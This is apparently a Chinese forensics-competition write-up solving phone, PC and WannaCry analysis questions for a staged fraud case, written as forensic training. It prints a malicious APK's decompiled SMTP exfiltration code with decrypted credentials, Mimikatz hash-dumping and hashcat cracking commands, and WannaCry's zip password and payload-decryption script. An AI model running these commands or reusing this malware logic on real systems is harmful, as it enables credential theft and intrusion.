第二届 龙信杯电子数据取证大赛 题解 - XD Forensics Wiki
https://forensics.xidian.edu.cn/writeups/Longxin2024/

第二届 龙信杯电子数据取证大赛 题解
¶
Author
NoahTie@猫猫啥也不会
比赛信息
¶
说明
检材下载连接等信息来自于
DIDCTF 平台
, 感谢 DIDCTF 平台提供的比赛资料与在线练习环境.
写在前面
¶
龙信杯这套题做下来给我的感受就是: 坑. 出题人有意无意地挖了很多坑, 做题时很容易找到错误或不完全的答案.
感觉是"学到了点东西, 但学到东西又不太可能".
不建议新入门取证的同学做这套题.
案情介绍
¶
近期, 某公安机关接到受害人报案: 通过微信添加认识一位相亲中介客服, 客服邀约其与"相亲"对象进行选妃, 受害人上钩后, 整个过程被涉案团伙录音录像, 同时, 该客服以有更多的对象可供挑选为由, 引导受害人下载其事先制作好的木马 APP, 受害人安装该 APP 后, 嫌疑人利用录制的视频和受害人的通讯录做要挟, 从而实施多次诈骗. 最终受害人不堪重负, 选择报案.
警方赶到现场后, 发现涉案团伙参与另一起侵公案件, 故迅速对现场设备进行证据固定制作镜像, 并制作以下检材清单, 请对检材分析:
序号
检材信息
检材大小
检材哈希(MD5)
1
受害人手机检材.dd
24,226,000,896 字节
f0fcbf82c134b5c47aac5355b74a83d8
2
涉案计算机检材.E01
12,510,412,800 字节
43d8b3820cd5103b42773b80140939aa
3
涉案服务器检材.E01
8,471,552,000 字节
6f970587231acbae7333b28168adc3b3
4
数据流量包.pcapng
17,334,272 字节
7847c2ee62660ea0696d99125d997628
检材信息
¶
下载链接:
https://pan.baidu.com/s/1K9dLKWLBsx9m0za2WcamFA?pwd=7ez0
哈希值:
MD5: 60a9ddcf1343640bdde89b143c5324b9
挂载/解压密码:
MjAyNOm+meS/oeadrw==
手机取证
¶
01 此手机共通过 adb 连接过几个设备
¶
答案
2
adb 每次连接新设备时, 都会生成唯一的签名证书 key, 存储在逻辑位置
/misc/adb
中.
在 ALEAPP 中,
adb_host
插件的报告中只显示 ADB 连接的用户名和主机名, 不显示签名值. 可以对脚本进行简单修改以显示签名值:
02 机主参加考试的时间
¶
答案
2024-08-23
考试时间可能存在于以下几个位置:
日历的数据库
备忘录(笔记)的数据库
校园 APP 的数据库
该设备上存在 2 个日历 APP, 分别是安卓设备自带的日历存储(来自谷歌 AOSP,
com.android.calendar
)和设备供应商提供的日历应用(来自 miui,
com.provider.calendar
). 前者数据库为空, 后者存储的日程不包含"考试":
在备忘录(
com.miui.notes
)的数据库中可以看到"考试"关键词:
表
data
中:
表
note
中:
这 2 个表中的数据作用与来源不同:
data
表中: 是备忘录 APP 根据笔记的内容生成的预览文件, 其创建/修改时间是 APP 内数据刷新的时间.
note
表中: 是备忘录中保存的原始数据, 随备忘录内容修改而更新.
将
note
表中的
modified_date
字段的时间戳转换为 datetime:
Python
from
datetime
import
datetime
modified_date
=
datetime
.
fromtimestamp
(
1723427660361
//
1000
)
# -> datetime.datetime(2024, 8, 12, 9, 54, 20)
modified
.
weekday
()
# -> 0
这天是周一, 下周五就是 11 天后, 是 2024-08-23.
03 手机的蓝牙 Mac 地址
¶
答案
48:87:59:76:21:0f
蓝牙配置文件存储在逻辑存储的
/misc/bluedroid/bt_config.conf
文件中:
04 压缩包加密软件共加密过几份文件
¶
答案
6
手机上安装的压缩工具是
com.zs.filecompress
, 但其数据目录
/data/com.zs.filecompress
和
/media/0/Android/data/com.zs.filecompress
中均没有保存历史记录.
只能去寻找手机中存储的压缩文件, 位于目录
/media/0/FileComperss
中, 还是比较明显的:
6 个
txt
文件实际上都是带加密的 PKZIP 文件.
05 机主的另外一个 155 的手机号码是
¶
答案
15599555555
导出
com.zs.filecompress
的 APK 包(
\app\~~_jzJxEiovvVW2OdDRNs_dw==\com.zs.filecompress-rGjcoW-RV_xJmIwAD522NA==\base.apk
), 丢进 JEB 分析一下. 在
MainActivity
中看到以下代码:
在构造
ZipFile
类实例时将
1!8Da9Re5it2b3a.
字符串作为第 1 个参数传入.
跟进之后发现类中字符串命名为
password
. 在
addFiles
方法中使用了密码对文件进行加密:
使用
1!8Da9Re5it2b3a.
作为密码即可解压上题中找到的压缩文件. 其中 2 个文件中存在有价值的信息:
06 手机存在一个加密容器，容器密码是
¶
答案
d7Avsd!Y]u}J8i(1bnDD@<-o
见上题.
07 接上问，容器中存在一份成员名单，嫌疑人曾经误触导致表格中的一个成员姓名被错误修改，这个成员的原始正确姓名
¶
答案
陆俊梅
在手机的下载目录
\media\0\Download
中找到 1 个大小为 10MB 的
data
文件. 16 进制查看后发现其内容无规律, 疑似加密容器:
导出并使用 VeraCrypt 挂载时报错:
估计是个 TrueCrypt 容器, 新版本的 VeraCrypt 停止了对 TC 容器的支持. 用 TrueCrypt 挂载成功:
有 1 个 Excel 文档, 应该就是题目中提及的表格. 还有 1 个扩展名为
jpg
的文件, 图片大小(757x477 pixel)与文件大小(420KB)不符, 猜测有隐藏数据. 用 010 Editor 查看发现 PNG 尾(IEND)之后还有一大块未知数据:
检查数据, 发现其文件签名(
D0 CF 11 E0 A1 B1 1A E1
)是 OLESS 格式的 Office 文档, 数据中包含 Excel 文档的特征:
将额外数据导出为 xls 文件并打开. 发现里面是个巨大的用户邀请表, 应该是通过对照邀请人和注册用户的信息, 可以核对出同一手机号的不同姓名. 写一个简单的 python 脚本:
应该是真实姓名"陆俊梅"被修改成了"陆陆".
08 接上题，该成员的对应的最高代理人是谁（不考虑总部）
¶
答案
刘珏兰
09 在该组织中，最高层级的层次是
¶
答案
12
需要用手机号作为用户标识, 而不是姓名, 因为姓名中存在"作废", "注销"等:
写一个深搜:
Python
import
csv
file
=
open
(
"./名单数据.csv"
,
"r"
,
encoding
=
"utf-8"
)
csv_reader
=
csv
.
reader
(
file
)
invite_dict
=
{}
for
row
in
csv_reader
:
inviter
=
row
[
4
]
name
=
row
[
1
]
invite_dict
.
setdefault
(
inviter
,
[])
.
append
(
name
)
def
dfs
(
name
,
depth
):
if
name
not
in
invite_dict
:
return
depth
return
max
(
dfs
(
child
,
depth
+
1
)
for
child
in
invite_dict
[
name
])
max_depth
=
dfs
(
"1"
,
1
)
print
(
f
'Depth:
{
max_depth
}
'
)
10 第二层级（从总部开始算第一级）人员最多的人是多少人
¶
答案
1065
还是写代码统计:
Python
def
max_inviter_at_level
(
target_level
):
from
collections
import
deque
,
defaultdict
queue
=
deque
([(
"1"
,
1
)])
level_invite_count
=
defaultdict
(
int
)
while
queue
:
current
,
depth
=
queue
.
popleft
()
if
depth
==
target_level
:
level_invite_count
[
current
]
=
len
(
invite_dict
.
get
(
current
,
[]))
for
child
in
invite_dict
.
get
(
current
,
[]):
queue
.
append
((
child
,
depth
+
1
))
if
not
level_invite_count
:
print
(
f
"
{
target_level
}
-> None"
)
return
None
max_inviter
=
max
(
level_invite_count
,
key
=
lambda
k
:
level_invite_count
[
k
])
print
(
f
"
{
target_level
}
->
{
max_inviter
}
,
{
level_invite_count
[
max_inviter
]
}
"
)
return
max_inviter
,
level_invite_count
[
max_inviter
]
max_inviter_at_level
(
3
)
# -> 3 -> 13883739096, 1065
11 机主共开启了几款 APP 应用分身
¶
答案
2
miui 提供了 APP 分身功能, 原理是将 APK 的包名修改为
<原始包名>-1
并重新签名, 以此避免与原始 APK 包名冲突.
在应用数据目录并没有找到包名中包含 "-1" 的 APP, 猜测是使用了第三方的 APP 分身工具. 在应用数据目录中发现包名
com.qh.privacysec
, 疑似与隐私保护相关:
在应用数据目录
/data/com.qh.privacysec/database
中存在名为
fenshen.db
的数据库:
导出并查看, 包含 2 条记录:
12 机主现在安装了几款即时通讯软件（微博除外）
¶
答案
4
手机实机上安装了 2 个:
VMOS 虚拟机
ot2
中安装了 2 个, 应用数据位于
/data/com.vmos.pro/osimg/r/ot.02/data/data
目录:
13 勒索机主的账号是多少（非微信 ID）
¶
答案
12233444555
本题存疑
本题的题目描述或许有误: 题目描述存在疑义.
正确的题目描述应为: "勒索机主的微信用户, 要求受害人转账至哪个账号"
关于微信数据库解密可以参考 2025 FIC 初赛的题解.
这里有所不同, 检材中微信的数据目录中缺少了
shared_prefs
目录, 因此无法直接获取 IMEI 和 UIN 信息.
IMEI 的获取可以参考文章
微信新版本数据库解密分析 - WXjzc
. 使用密钥
_wEcHAT_
对
/data/com.tencent.mm/files/KeyInfo.bin
进行解密:
微信高版本中使用了腾讯自研的 MMKV 数据库, 本质上是一个极简化的键值对数据库, 参考
Tencent/MMKV: An efficient, small mobile key-value storage framework developed by WeChat.
. 可以使用
spak9/mmkv_visualizer: A web application that will allow you to visualize MMKV databases, with all processing done client-side.
来比较直观地读取 MMKV 数据库.
在
/data/com.tencent.mm/files/mmkv
目录中存储着 MMKV 数据库. 其中
system_config_prefs
中存储着用户的 UIN 信息:
数据库密钥是
md5(IMEI + UIN)
前 7 位 16 进制数:
Python
from
hashlib
import
md5
md5
(
b
"1234567890ABCDEF"
+
b
"326674411"
)
.
hexdigest
()[:
7
]
# -> 'd5d90f2'
连接数据库参考 2025 FIC 初赛的题解, 连接时需要指定参数.
提到要换个 IM, 去设备上安装的其他几个 IM 的聊天数据里找找.
默往(com.mostone.life)的数据库也有加密, 密钥是
md5(uid)
的前 6 位 16 进制. UID 可以在
/data/com.mostone.life/shared_prefs/im.xml
中找到:
与微信数据库类似, 连接时需要指定使用 sqlcipher3:
SQL
PRAGMA
cipher_compatibility
=
3
连接后在
im_message
表中看到相关信息:
这里有 2 个账号信息:
支付宝: 12233444555
默往: 1836042664454131712
14 接上问，机主通过此应用删除过几个聊天记录
¶
答案
1
接上题, 聊天记录表中有 1 条记录的
delStatus
是
2
, 其余均为 NULL, 判断这条消息被删除:
15 会盗取手机信息的 APP 应用包名是
¶
答案
com.lxlxlx.luoliao
之前也看到了, 有 1 个包名为
com.lxlxlx.luoliao
的 APK 包:
该 APK 包名与嫌疑人在微信发送给受害者的 APK 包的包名一致:
16 该软件作者预留的座机号码是
¶
答案
40085222666
APP 的主入口是
com.gass.mobileH.MainActivity
, 在类中看到由 Base64 编码的字符串, 以及调用这些字符串的函数:
Java
s0
=
"4SLYY9lHJ2SnY4PTeoNuPQ=="
;
b
.
b
.
a
.
a
.
a
(
mainActivity0
.
s0
.
getBytes
(),
"E10ADC3949BA59ABBE56E057F20F883E"
.
getBytes
())
跟进
b.b.a.a.a
函数:
整个类恢复符号表之后大概是:
Java
public
class
AESDecryptor
{
public
static
byte
[]
defaultIV
;
static
{
AESDecryptor
.
defaultIV
=
new
byte
[
16
]
;
}
public
static
byte
[]
decrypt
(
byte
[]
arr_b
,
byte
[]
arr_b1
)
{
if
(
arr_b
==
null
||
arr_b
.
length
==
0
||
arr_b1
==
null
||
arr_b1
.
length
<
16
||
AESDecryptor
.
defaultIV
.
length
<
16
)
{
throw
new
InvalidParameterException
();
}
byte
[]
arr_b2
=
Base64
.
decode
(
arr_b
,
0
);
IvParameterSpec
ivParameterSpec0
=
new
IvParameterSpec
(
new
String
(
arr_b1
).
substring
(
0
,
16
).
getBytes
());
SecretKeySpec
secretKeySpec0
=
new
SecretKeySpec
(
arr_b1
,
"AES"
);
Cipher
cipher0
=
Cipher
.
getInstance
(
"AES/CBC/PKCS5Padding"
);
cipher0
.
init
(
2
,
secretKeySpec0
,
ivParameterSpec0
);
return
cipher0
.
doFinal
(
arr_b2
);
}
}
实际上是使用 PKCS5 Padding 的 AES-CBC-256 加密, 传递的第 1 个参数是密文, 第 2 个参数的前 16 字节是 IV, 第 2 个参数整体做密钥.
接着用 CyberChef 或 Python 进行解密:
Python
from
base64
import
b64decode
from
Crypto.Cipher
import
AES
from
Crypto.Util.Padding
import
unpad
,
pad
key
=
b
"E10ADC3949BA59ABBE56E057F20F883E"
iv
=
b
"E10ADC3949BA59AB"
enc
=
b
"4SLYY9lHJ2SnY4PTeoNuPQ=="
cipher
=
AES
.
new
(
key
,
AES
.
MODE_CBC
,
iv
)
dec
=
cipher
.
decrypt
(
pad
(
b64decode
(
enc
),
AES
.
block_size
))
try
:
dec
=
unpad
(
dec
,
AES
.
block_siz
)
except
:
pass
dec
# -> b'/forensic.xml'
对所有加密字符串解密(最后 2 个字符串需要拼接起来解密):
Text Only
/forensic.xml
/forensical.xml
1304567895@gmail
1304567895@gmail.com
软件有问题，请联系boss电话：40085222666
17 接上题，恶意程序偷取数据的收件邮箱地址的 gmail 邮箱是
¶
答案
1304567895@gmail.com
查看上题中邮箱的加密字符串的交叉引用, 找到 GET 的位置:
Java
arrayList0
=
{
"13024169815@189.cn"
,
"1304567895@gmail.com"
};
arrayList0
=
{
ContentOfFile
}
2 个数组和包含 IMEI 等信息的字符串被传送到
b.b.a.g.a
类的实例. 跟进该类, 对符号表进行恢复:
Java
public
class
EmailSender
{
public
i
message
;
public
Properties
properties
;
public
String
encryptedHost
;
public
String
encryptedUsername
;
public
String
encryptedPassword
;
public
EmailSender
()
{
this
.
properties
=
new
Properties
();
this
.
encryptedHost
=
"vYyjDLnOMdPvDhyqxr41zQ=="
;
this
.
encryptedUsername
=
"EX0dgp0EDZ9v3yE9hX2mQcMa9DPzJQ/LPkZDKyiDH64="
;
this
.
encryptedPassword
=
"kbLBbvDVyghScP1Jy6bK7A=="
;
}
public
final
boolean
initializeSmtpConfig
()
{
try
{
this
.
properties
.
put
(
"mail.smtp.host"
,
new
String
(
AESDecryptor
.
decrypt
(
this
.
encryptedHost
.
getBytes
(),
"E10ADC3949BA59ABBE56E057F20F883E"
.
getBytes
())));
this
.
properties
.
put
(
"mail.smtp.auth"
,
"true"
);
this
.
properties
.
put
(
"mail.transport.protocol"
,
"smtp"
);
this
.
properties
.
put
(
"mail.smtp.starttls.enable"
,
"true"
);
this
.
properties
.
put
(
"mail.smtp.ssl.checkserveridentity"
,
"false"
);
this
.
properties
.
put
(
"mail.smtp.ssl.trust"
,
new
String
(
AESDecryptor
.
decrypt
(
this
.
encryptedHost
.
getBytes
(),
"E10ADC3949BA59ABBE56E057F20F883E"
.
getBytes
())));
this
.
message
=
new
i
();
return
true
;
}
catch
(
Exception
exception0
)
{
exception0
.
printStackTrace
();
return
false
;
}
}
public
final
boolean
sendEmail
(
String
s
,
String
s1
,
List
list0
,
List
list1
)
{
// snip
}
}
对几个加密字符串进行解密, 得到:
Text Only
smtp.gmail.com
temp1234@gmail.com
qwer123456
分别是 SMTP 服务器的 URL, 用户名和口令.
18 接上题，恶意程序偷取数据的发件邮箱地址是
¶
答案
temp1234@gmail.com
见上题.
19 接上题，恶意程序偷取数据的发件邮箱密码是
¶
答案
qwer123456
见上题.
20 恶意程序定义收发件的地址函数是
¶
答案
b
见上题.
计算机取证
¶
01 嫌疑人在将其侵公数据出售前在 Pycharm 中进行了 AES 加密，用于加密的 key 是
¶
答案
65B2564BG89F16G9
加密脚本位于
Partition 2/Python/encrypted/encrypted.py
:
目录中有同名的
FileSlack
扩展名文件, 开启了 Windows 基于 NTFS 的加密(Encrypting File System, EFS). 在 FTK Imager 中使用 EFS 加密检测功能可以识别出被加密的文件:
FileSlack 勒索病毒
还有一种名为 FileSlack 的勒索病毒, 会将文件加密并添加
FileSlack
扩展名. 但与开启了 EFS 的情况很容易区分: 勒索病毒会删除源文件, 只剩下加密后的 FileSlack 文件, 且该文件为常规文件; EFS 加密后会在取证工具中看到原始文件及 FileSlack 文件.
对系统仿真后查看文件, 这时系统将自动使用原始设备中的证书进行解密. 在线环境下火眼仿真可以云端获取用户口令:
之后打开 Python 脚本查看即可:
如果在离线环境无法使用云端数据库获取用户口令, 需要使用 Mimikatz 从
SAM
和
SYSTEM
hive 文件(位于
%systemroot%/System32/config
目录)中提取 NTML 哈希, 之后用 HashCat 字典/弱口令爆破.
使用 Mimikatz 提取 NTML hash:
PowerShell
sudo
mimikatz
.
exe
# Win11 with sudo, or gsudo installed.
# Otherwise, use elevated powershell or cmdline.
在 Mimikatz 命令行中:
Text Only
privilege::debug
lsadump::sam /system:/PATH/TO/SYSTEM /sam:/PATH/TO/SAM
得到 NTLM hash 为
1699741e90e0be37532c22fe84baefe8
:
使用 HashCat 字典爆破口令:
PowerShell
hashcat
-m
1000
-a
0
-d
1
'1699741e90e0be37532c22fe84baefe8'
PATH
\
TO
\
DICT
02 身份证为 "371963195112051505" 这个人的手机号码是
¶
答案
15075547510
在登录仿真系统的用户之后, 可以通过命令行对 E 盘中的全部加密数据进行解密, 以便后续导出文件进行分析:
PowerShell
cipher
/
d
/
s
:
E
:
照着
encrypted.py
写一个解密脚本:
Python
from
Crypto.Cipher
import
AES
from
Crypto.Util.Padding
import
unpad
def
aes_decrypt
(
encrypted_hex
,
key
,
iv
):
cipher
=
AES
.
new
(
key
,
AES
.
MODE_CBC
,
iv
)
encrypted_data
=
bytes
.
fromhex
(
encrypted_hex
)
decrypted_padded
=
cipher
.
decrypt
(
encrypted_data
)
decrypted_data
=
unpad
(
decrypted_padded
,
AES
.
block_size
)
return
decrypted_data
.
decode
()
def
process_decrypt
(
input_file
,
output_file
,
key
,
iv
):
with
open
(
input_file
,
"r"
)
as
f_in
,
open
(
output_file
,
"w"
)
as
f_out
:
for
line
in
f_in
:
parts
=
line
.
strip
()
.
split
(
','
)
index
=
parts
[
0
]
f_out
.
write
(
index
+
","
)
decrypted_parts
=
[]
for
part
in
parts
[
1
:]:
decrypted_part
=
aes_decrypt
(
part
,
key
,
iv
)
decrypted_parts
.
append
(
decrypted_part
)
f_out
.
write
(
","
.
join
(
decrypted_parts
)
+
"
\n
"
)
key
=
b
'65B2564BG89F16G9'
iv
=
b
'83E6CBEF547944CF'
process_decrypt
(
"encrypted_data.txt"
,
"decrypted_data.csv"
,
key
,
iv
)
除了用 Python 之外, 还可以使用 Navicat 将 csv 文件导入到数据库后进行分析.
03 对解密后的身份证数据列进行单列去重操作，重复的身份证号码数量是(身份证不甄别真假)
¶
答案
0
写一个 Python 脚本统计:
Python
import
csv
file
=
open
(
"./decrypted_data.csv"
,
"r"
,
encoding
=
"gbk"
)
csv_reader
=
csv
.
reader
(
file
)
ids
=
{}
for
row
in
csv_reader
:
id_no
=
row
[
2
]
if
id_no
not
in
ids
:
ids
[
id_no
]
=
1
else
:
ids
[
id_no
]
+=
1
for
id_no
,
count
in
ids
.
items
():
if
count
!=
1
:
dup_id_count
+=
1
dup_count
+=
count
-
1
dup_count
# -> 0
dup_id_count
# -> 0
没有重复的身份证号.
04 接上题，根据身份证号码（第 17 位）分析性别，男性的数据是多少条
¶
答案
5001714
继续使用 Python 统计:
Python
for
id_no
in
ids
.
keys
():
if
int
(
id_no
[
16
])
%
2
:
male_count
+=
1
male_count
# -> 5001714
05 接上题，对密后的数据文件进行分析，甄别身份证号码性别值与标识性别不一致的数量是
¶
答案
5001185
继续使用 Python 统计:
Python
file
=
open
(
"./decrypted_data.csv"
,
"r"
,
encoding
=
"gbk"
)
csv_reader
=
csv
.
reader
(
file
)
for
row
in
csv_reader
:
id_no
,
gender
=
row
[
2
],
row
[
-
1
]
gender_from_id
=
"男"
if
int
(
id_no
[
16
])
%
2
else
"女"
if
gender
!=
gender_from_id
:
gender_mis_count
+=
1
gender_mis_count
# -> 5001185
06 计算机中存的 “VPN” 工具版本是
¶
答案
4.4
在
E:/WinXray
目录下存储着 WinXray 的程序文件. 在仿真系统中运行即可看到版本:
07 计算机中存的 “VPN” 节点订阅地址是
¶
答案
https://paste.ee/d/4eIzU
WinXray 的应用数据存储在
C:\Users\Administrator\AppData\Local\WinXray
目录下, 其中的
Proxy.table
中存储有订阅信息:
08 eduwcry 缩包文件的解压密码是
¶
答案
yasuomima
这个题是真的想不到了, 参考了
jzc 的 WP
才知道, 压缩密码要在搜狗输入法的词库里面找.
Python
import
struct
file
=
"./sgim_gd_usrbg.bin"
with
open
(
file
,
"rb"
)
as
f
:
f
.
seek
(
0x40
)
byte0
=
f
.
readline
()
start
=
struct
.
unpack
(
"<I"
,
byte0
[:
4
])[
0
]
f
.
seek
(
start
,
0
)
byte
=
f
.
read
()
index
=
0
while
True
:
index
+=
8
byte1
=
byte
[
index
:
index
+
2
]
blen
=
struct
.
unpack
(
"<H"
,
byte1
)[
0
]
if
blen
==
0
:
break
string
=
byte
[
index
+
2
:
index
+
2
+
blen
]
string
=
string
.
decode
(
encoding
=
"utf-16le"
,
errors
=
'ignore'
)
index
=
index
+
2
+
blen
byte2
=
byte
[
index
:
index
+
2
]
len2
=
struct
.
unpack
(
"<H"
,
byte2
)[
0
]
index
=
index
+
2
+
len2
print
(
string
)
用户词库的内容:
Text Only
bing
夜神
chinese
pip
出
Python
pi
abc
edu
WA
真
压缩
压缩密码
同意
通用
yasuo
NOX
yasuomima
data
databackup
容器
容器密码
企鹅二退哦拍
dd
生日
订阅
订阅地址
用用户词库当字典爆破压缩包可以找到密码是
yasuomima
:
09 接上题，恶意程序释放压缩包的 md5 值是
¶
答案
b576ada3366908875e5ce4cb3da6153a
提示
这部分的题目是真实的 WANACRY 勒索病毒, 逆向难度较高. 比赛时更推荐使用沙箱检测应用行为.
一定要逆向的话, 在虚拟机/沙箱里动调的难度低于静态.
出题人未对病毒样本做任何修改, 因此可以在微步在线沙箱直接根据哈希值查到报告:
样本报告-微步在线云沙箱
.
这里提供静态分析的过程, 算是简单检测一下自己的逆向能力吧.
另外, 我并不是逆向手(真正的逆向手是 @BlackBird), 因此可能各种地方会存在一下小错误, 请多包涵.
用 MalCat 加载二进制文件
wcry.exe
, 发现有 1 个 PKZIP 文件:
导出该压缩包.
10 接上题，请恶意程序记录的洋葱浏览器下载地址是
¶
答案
https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
IDA 加载
wcry.exe
, 在程序主入口
WinMain(x,x,x,x)
函数伪代码:
sub_401DAB
的第 2 个参数是一个字符串, 查看值为
WNcry@2ol7
:
跟进该函数.
判断函数的第 2 个参数为 PKZIP 的解压密码, 对该压缩包进行解压(可执行文件添加了
.malware
扩展名):
c.wnry
中存在 5 个 onion 地址和 1 个 URL:
该 URL 为 TorBrowser 的下载地址.
11 接上题，恶意程序解密了 t.wnry 后该 dll 的 md5 值是
¶
答案
F351E1FCCA0C4EA05FC44D15A17F8B36
重新整理整个主入口函数:
导入解密密钥的函数
sub_401437
:
继续跟进
sub_401861
:
其中的
unk_40EBF8
位置的数组即为解密密钥, 跟进, 看到是 RSA 的 KEY 文件, 在 Hex View 中导出到文件:
回到函数
sub_401861
, 继续跟进
CryptImportKey
函数, 发现该函数是一个导入函数(从
advapi32.dll
动态加载):
由此判断该 RSA Key 是一个由 WinAPI (
wincrypt
) 中的
CryptExportKey
生成的 BLOB RSA 密钥. 微软的文档中对其结构定义如下(参考
RSA/Schannel Key BLOBs
):
C++
PUBLICKEYSTRUC
publickeystruc
;
RSAPUBKEY
rsapubkey
;
BYTE
modulus
[
rsapubkey
.
bitlen
/
8
];
BYTE
prime1
[
rsapubkey
.
bitlen
/
16
];
BYTE
prime2
[
rsapubkey
.
bitlen
/
16
];
BYTE
exponent1
[
rsapubkey
.
bitlen
/
16
];
BYTE
exponent2
[
rsapubkey
.
bitlen
/
16
];
BYTE
coefficient
[
rsapubkey
.
bitlen
/
16
];
BYTE
privateExponent
[
rsapubkey
.
bitlen
/
8
];
其中的
PUBLICKEYSTRUC
的结构如下(参考
PUBLICKEYSTRUC (wincrypt.h)
):
C++
typedef
struct
_PUBLICKEYSTRUC
{
BYTE
bType
;
BYTE
bVersion
;
WORD
reserved
;
ALG_ID
aiKeyAlg
;
}
BLOBHEADER
,
PUBLICKEYSTRUC
;
其中的
RSAPUBKEY
的结构如下(参考
RSAPUBKEY (wincrypt.h)
):
C++
typedef
struct
_RSAPUBKEY
{
DWORD
magic
;
DWORD
bitlen
;
DWORD
pubexp
;
}
RSAPUBKEY
;
Python / CyberChef 都无法使用该格式的 RSA 密钥容器, 需要根据上述定义写一个 Python 脚本, 对密钥容器进行转换:
Python
# parseRSAKeyfromWinBLOB.py
from
pathlib
import
Path
from
io
import
BufferedReader
from
Crypto.PublicKey
import
RSA
from
Crypto.Cipher
import
PKCS1_v1_5
from
Crypto.Random
import
get_random_bytes
def
read_bytes_parts
(
f
:
BufferedReader
,
parts
:
list
[
int
])
->
tuple
:
bytes_parts
=
list
()
for
part
in
parts
:
part_bin
=
f
.
read
(
part
)
part_int
=
int
.
from_bytes
(
part_bin
,
"little"
)
bytes_parts
.
append
(
part_int
)
return
tuple
(
bytes_parts
)
def
parse_rsa_win_blob
(
file
:
str
)
->
RSA
.
RsaKey
:
WIN_RSA_STRUCT_FIXED
=
[
1
,
# bType
1
,
# bVersion
2
,
# reserved
4
,
# ALG_ID
4
,
# magic
4
,
# bitlen
4
# pubexp
]
win_blob
=
open
(
file
,
"rb"
)
bType
,
bVersion
,
reserved
,
ALG_ID
,
magic
,
bitlen
,
pubexp
=
read_bytes_parts
(
win_blob
,
WIN_RSA_STRUCT_FIXED
)
assert
magic
==
843141970
# little endian of b"RSA2"
bytelen
=
bitlen
//
8
WIN_RSA_STRUCT_COMPONENT
=
[
bytelen
,
# modulus
bytelen
//
2
,
# prime1 -> p
bytelen
//
2
,
# prime2 -> q
bytelen
//
2
,
# exponent1
bytelen
//
2
,
# exponent2
bytelen
//
2
,
# coefficient
bytelen
# privateExponent
]
modulus
,
prime1
,
prime2
,
exponent1
,
exponent2
,
coefficient
,
privateExponent
=
read_bytes_parts
(
win_blob
,
WIN_RSA_STRUCT_COMPONENT
)
assert
prime1
*
prime2
==
modulus
RSA_component
=
(
modulus
,
pubexp
,
privateExponent
,
prime1
,
prime2
)
RSAKey
=
RSA
.
construct
(
RSA_component
)
return
RSAKey
def
export_to_PEM
(
file_name
:
str
|
Path
,
key
:
RSA
.
RsaKey
)
->
None
:
key_bytes
=
key
.
export_key
(
"PEM"
)
with
open
(
file_name
,
"wb"
)
as
f
:
f
.
write
(
key_bytes
)
if
__name__
==
"__main__"
:
rsa_key
=
parse_rsa_win_blob
(
"./pbData.txt"
)
export_to_PEM
(
"./rsa.pem"
,
rsa_key
)
在程序主入口
WinMain(x,x,x,x)
函数伪代码中, 函数
sub_4014A6
的第 1 个参数为字符串
t.wnry
:
跟进该函数:
该函数读取了
t.wnry
文件, 操作大致如下:
8 Bytes 为文件签名
WANACRY!
4 Bytes 为
Size
, 该值应该为
0x100
读取
Size
(256) Bytes, 存入内存空间中, 为 RSA 加密的 AES 密钥
4 Bytes 为
Buffer
8 Bytes 为
dwBytes
RSA 解密 AES 密钥
扩展 AES 密钥
读取其余文件
AES 解密其余文件并存入内存空间
返回内存空间地址
写一个 Python 脚本复刻该过程:
Python
from
Crypto.Cipher
import
AES
from
Crypto.PublicKey
import
RSA
from
Crypto.Cipher
import
PKCS1_v1_5
from
Crypto.Random
import
get_random_bytes
from
typing
import
Tuple
from
bitstring
import
BitArray
class
CCryptFile
:
def
__init__
(
self
,
rsa_key
:
RSA
.
RsaKey
,
enc
:
bytes
):
self
.
_rsa_key
=
rsa_key
self
.
_hcryptprov
=
True
self
.
enc
=
enc
self
.
dec
=
bytes
()
def
DeCryptPrivateKey
(
self
)
->
Tuple
[
bool
,
int
]:
if
not
(
self
.
_hcryptprov
and
self
.
_rsa_key
and
self
.
enc
):
return
False
,
0
cipher
=
PKCS1_v1_5
.
new
(
self
.
_rsa_key
)
sentinel
=
get_random_bytes
(
15
)
plaintext
=
cipher
.
decrypt
(
self
.
enc
,
sentinel
)
if
plaintext
==
sentinel
:
return
False
,
0
out_len
=
len
(
plaintext
)
self
.
dec
=
plaintext
return
True
,
out_len
def
_unpad_pkcs7
(
data
:
bytes
)
->
bytes
:
pad_len
=
data
[
-
1
]
if
pad_len
<
1
or
pad_len
>
AES
.
block_size
:
raise
ValueError
(
"Invalid padding"
)
if
data
[
-
pad_len
:]
!=
bytes
([
pad_len
])
*
pad_len
:
raise
ValueError
(
"Invalid padding"
)
return
data
[:
-
pad_len
]
if
__name__
==
"__main__"
:
with
open
(
"rsa.pem"
,
"rb"
)
as
f
:
rsa_key
=
RSA
.
import_key
(
f
.
read
())
with
open
(
"enc"
,
"rb"
)
as
f
:
encrypted
=
f
.
read
()
bits
=
BitArray
(
encrypted
)
bits
.
byteswap
()
encrypted
=
bits
.
tobytes
()
crypt
=
CCryptFile
(
rsa_key
,
encrypted
)
ok
,
out_len
=
crypt
.
DeCryptPrivateKey
()
if
not
ok
:
exit
(
1
)
key
=
crypt
.
dec
iv
=
b
"
\x00
"
*
16
# Default IV
with
open
(
"./t.wnry"
,
"rb"
)
as
f
:
assert
(
Buf1
:=
f
.
read
(
8
))
==
b
"WANACRY!"
_
=
f
.
read
(
4
+
256
+
4
+
8
)
data
=
f
.
read
()
cipher
=
AES
.
new
(
key
,
AES
.
MODE_CBC
,
iv
=
iv
)
plaintext
=
cipher
.
decrypt
(
data
)
try
:
plaintext
=
_unpad_pkcs7
(
plaintext
)
except
:
pass
print
(
f
"
{
plaintext
[:
64
]
= }
"
)
with
open
(
"decrypted_dll"
,
"wb"
)
as
f
:
f
.
write
(
plaintext
)
解密出来瞬间火绒给杀了. HashMyFiles 算 MD5:
12 接上题，恶程序运行起来后第一个循环调用了几次
taskkill.exe
¶
答案
5
回到
WinMain
里面:
v6
是加载的
t.wnry
的入口点, 函数
sub_402924
的第 2 个参数是字符串
TaskStart
. 这里获取了一个函数地址.
可见病毒主程序的功能就是释放文件 & 加载 dll. 接下来的功能应该在
t.wnry
里. 用 IDA 加载之, 在导出表中找到了
TaskStart
:
开启 String View, 搜索
taskkill
:
查交叉引用, 找到唯一的一处调用是在
sub_100057C0
中:
关闭了几种 Win 平台主流的数据库进程.
13 接上题，
@WanaDecryptor@.exe.lnk
文件是通过什么函数创建的
¶
答案
CreateShortcut
还是在 String 里面找:
找到调用字符串的函数
sub_10004CD0
:
生成了一个字符串
v6
:
Bash
@echo
off
echo
SET
ow
=
WScript.CreateObject
(
